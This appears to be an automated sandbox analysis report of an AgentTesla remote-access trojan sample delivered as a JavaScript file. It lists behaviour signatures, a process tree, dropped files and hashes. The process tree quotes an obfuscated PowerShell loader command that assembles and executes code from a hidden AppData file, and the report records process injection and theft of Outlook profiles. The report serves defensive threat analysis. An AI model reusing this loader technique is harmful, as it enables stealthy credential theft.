Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 21:39

General

  • Target
    RPF1910485_20260709.js
  • Size 78KB
  • Sample260709-1hlw6aa16w
  • SHA256 92f018e919500a849805245b07fedf181a2a3f2bc34bd0e435e938bc8a72031d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • agenttesla

Credentials

Signatures

  • Family: AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
  • Drops desktop.ini file(s) 3 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies registry class 24 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\RPF1910485_20260709.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4568
    • C:\Windows\explorer.exe
      "C:\Windows\explorer.exe" C:\Mort
      2⤵
      • Modifies registry class
      PID:1084
  • C:\Windows\explorer.exe
    C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
    1⤵
    • Drops desktop.ini file(s)
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5408
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Dilatori='/app'+'data';$Trill=gc ($HOME+$Dilatori+'/local/Forly');$Shaftman=$Trill[3064]+$Trill[3065]+$Trill[3066]; . ($Shaftman) $Trill"
      2⤵
      • Badlisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3564
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4104
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Dilatori='/app'+'data';$Trill=gc ($HOME+$Dilatori+'/local/Forly');$Shaftman=$Trill[3064]+$Trill[3065]+$Trill[3066]; . ($Shaftman) $Trill"
      1⤵
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4688
      • C:\Windows\SysWOW64\backgroundTaskHost.exe
        "C:\Windows\SysWOW64\backgroundTaskHost.exe"
        2⤵
          PID:1752
        • C:\Windows\SysWOW64\backgroundTaskHost.exe
          "C:\Windows\SysWOW64\backgroundTaskHost.exe"
          2⤵
          • Accesses Microsoft Outlook profiles
          • Suspicious use of NtCreateThreadExHideFromDebugger
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          • outlook_office_path
          PID:5648
          • C:\Windows\SysWOW64\backgroundTaskHost.exe
            "C:\Windows\SysWOW64\backgroundTaskHost.exe"
            3⤵
              PID:3132

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 41f80561292e2edb98b604d7e769fe9d51e887a26af3fdc2a6ae2076c993f583
              • MD5 SHA1 SHA512 TLSH

              Tilbudspri.Pun

              • Path C:\Users\Admin\AppData\Roaming\Tilbudspri.Pun
              • Size 221KB
              • SHA256 9f0842c77611d08b883403b69608078728fe2cc949b577cfa147af7cb5a305c7
              • MD5 SHA1 SHA512 SSDEEP TLSH

              Forly

              • Path C:\Users\Admin\appdata\local\Forly
              • Size 3KB
              • SHA256 224338490389964a5dad9c06d469b180d85b305a7cc7f119effd66d5cdf6e4a6
              • MD5 SHA1 SHA512 TLSH

              memory/3564-3-0x000001AA457A0000-0x000001AA457C2000-memory.dmp

              memory/4688-20-0x0000000006F80000-0x0000000006F9A000-memory.dmp

              memory/4688-21-0x0000000006FD0000-0x0000000006FF2000-memory.dmp

              memory/4688-12-0x0000000006410000-0x0000000006476000-memory.dmp

              memory/4688-15-0x0000000006680000-0x00000000069DB000-memory.dmp

              memory/4688-10-0x0000000005B70000-0x0000000005B92000-memory.dmp

              memory/4688-17-0x0000000006A30000-0x0000000006A4E000-memory.dmp

              memory/4688-18-0x0000000006A70000-0x0000000006ABC000-memory.dmp

              memory/4688-19-0x00000000079E0000-0x0000000007A76000-memory.dmp

              memory/4688-9-0x0000000005CE0000-0x000000000632A000-memory.dmp

              memory/4688-11-0x00000000063A0000-0x0000000006406000-memory.dmp

              memory/4688-22-0x00000000082D0000-0x000000000888A000-memory.dmp

              memory/4688-23-0x0000000008F10000-0x000000000958C000-memory.dmp

              memory/4688-8-0x0000000003260000-0x0000000003296000-memory.dmp

              memory/4688-25-0x000000000B590000-0x000000000EA71000-memory.dmp

              memory/5648-27-0x0000000000E30000-0x0000000002116000-memory.dmp

              memory/5648-28-0x0000000000E30000-0x0000000000E74000-memory.dmp

              memory/5648-29-0x0000000021330000-0x00000000213C2000-memory.dmp

              memory/5648-30-0x0000000021400000-0x0000000021450000-memory.dmp

              memory/5648-31-0x00000000214F0000-0x000000002158C000-memory.dmp

              memory/5648-32-0x0000000021690000-0x000000002169A000-memory.dmp